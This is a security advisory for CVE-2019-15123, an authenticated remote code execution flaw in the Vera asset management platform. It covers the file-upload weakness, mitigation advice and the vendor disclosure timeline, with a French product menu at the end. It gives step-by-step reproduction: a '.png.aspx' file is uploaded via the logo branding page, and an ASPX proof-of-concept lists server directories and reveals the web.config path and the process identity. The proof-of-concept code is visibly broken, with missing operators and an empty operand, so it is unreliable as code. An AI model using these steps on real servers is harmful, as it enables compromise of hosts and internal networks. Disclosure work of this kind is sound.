An Authenticated Remote Code Execution (RCE) vulnerability was discovered on Vera, a platform for digital asset management used in the printing industry. The application allows an authenticated user to change the logo on the Website. An attacker can use this feature to upload a malicious (.aspx) file and gain remote code execution on the server.



This vulnerability can be exploited by a malicious user to gain remote code execution on the Server. This would allow an attacker to compromise the host serving the application, thereby gaining a foothold on the internal network where the application is hosted. This vulnerability was confirmed on Vera version


Technical Analysis

The following steps could be used to reproduce the vulnerability:

  1. Navigate to the URL where the application is hosted. Login to the Website using credentials;
  2. Navigate to the branding section under the Admin tab;
  3. Once inside the branding page, locate the feature to change the logo or choose a new logo using the choose file option;


  4. Create an Active Server Page eXtended (aspx) file containing the code to be executed and rename it to .png.aspx;

    The Proof-of-Concept is as shown below:

    	<h2>Directory Listing</h2>
    		for each dirs in new DirectoryInfo("C:\inetpub\wwwroot").GetDirectories()
    			response.write("<p>" & & "<p>")
    			for each subfiles in dirs.GetFiles()
    				response.write("<li>" & subfiles.Name & "</li>")
    <%	response.write("<p>" Server.MapPath("/") & "</p><br>") %>
    <%	response.write("<p>Web Config File Path : " Server.MapPath("/VproofWorkflow/web.config") & "</p><br>") %>
    <%=HttpContext.Current.User.Identity.Name & "<br>") %>
  5. Upload the file to the server;
  6. Once uploaded, right click on the logo image place holder and select “View Image”;
  7. The page loads and executes the ASP code on the server.



At this point, an attacker has remote code execution on the server.



The vendor doesn’t disclose software versioning publicly and our attempts at obtaining a fixed version were not replied to. We believe a fixed version is available from their support channel since our customer’s software has been fixed.

Here is some general advice to mitigate file upload vulnerabilities:

  1. As a best practice, the application should have a white list of extensions that can be uploaded on to the server. Incoming files name extensions should be checked for tampered data;
  2. Using the allowed type of files to be uploaded, whilst storing the file on the server, the server should generate a file name and append the extension as opposed to using the one sent by the client. This would automatically stop the file from being able to be executed even if the content is malicious.



Very simple file upload vulnerabilities like this one are still prevalent in software products used by various organizations. They could be prevented by applying secure development practices or by using security auditing tools like Security Code Scan during development.

This vulnerability was assigned CVE-2019-15123 and has been disclosed to the vendor following our responsible disclosure process.



  • Vulnerability disclosed to Viki on August 16th 2019;
  • Viki silently fixed our customer between August 16th and November 2019.
Détection et réponse gérées Titan
Antivirus de nouvelle génération
Détection et réponse sur les terminaux
Détection et réponse sur le réseau
Détection et réponse sur les boîtes de messagerie
Détection et réponse face aux menaces internes
Gestion des pare-feu
Gestion des SIEM
La gestion des vulnérabilités en tant que service
GoSecure Titan
Logiciel Titan
Sécurité de la messagerie
Sécurité Web
Boîte à outils «Responder PRO Forensics»
Services professionnels
Services de préparation aux brèches
Les services-conseils personnalisés en cybersécurité
Évaluation de la cybersécurité
Services de réponse aux incidents
Services des équipes « Red & Purple »
Services de tests d'intrusion
Services de conformité et d'audit
Évaluation de la compromission de la sécurité
Technologies tierces

Pin It on Pinterest

Share This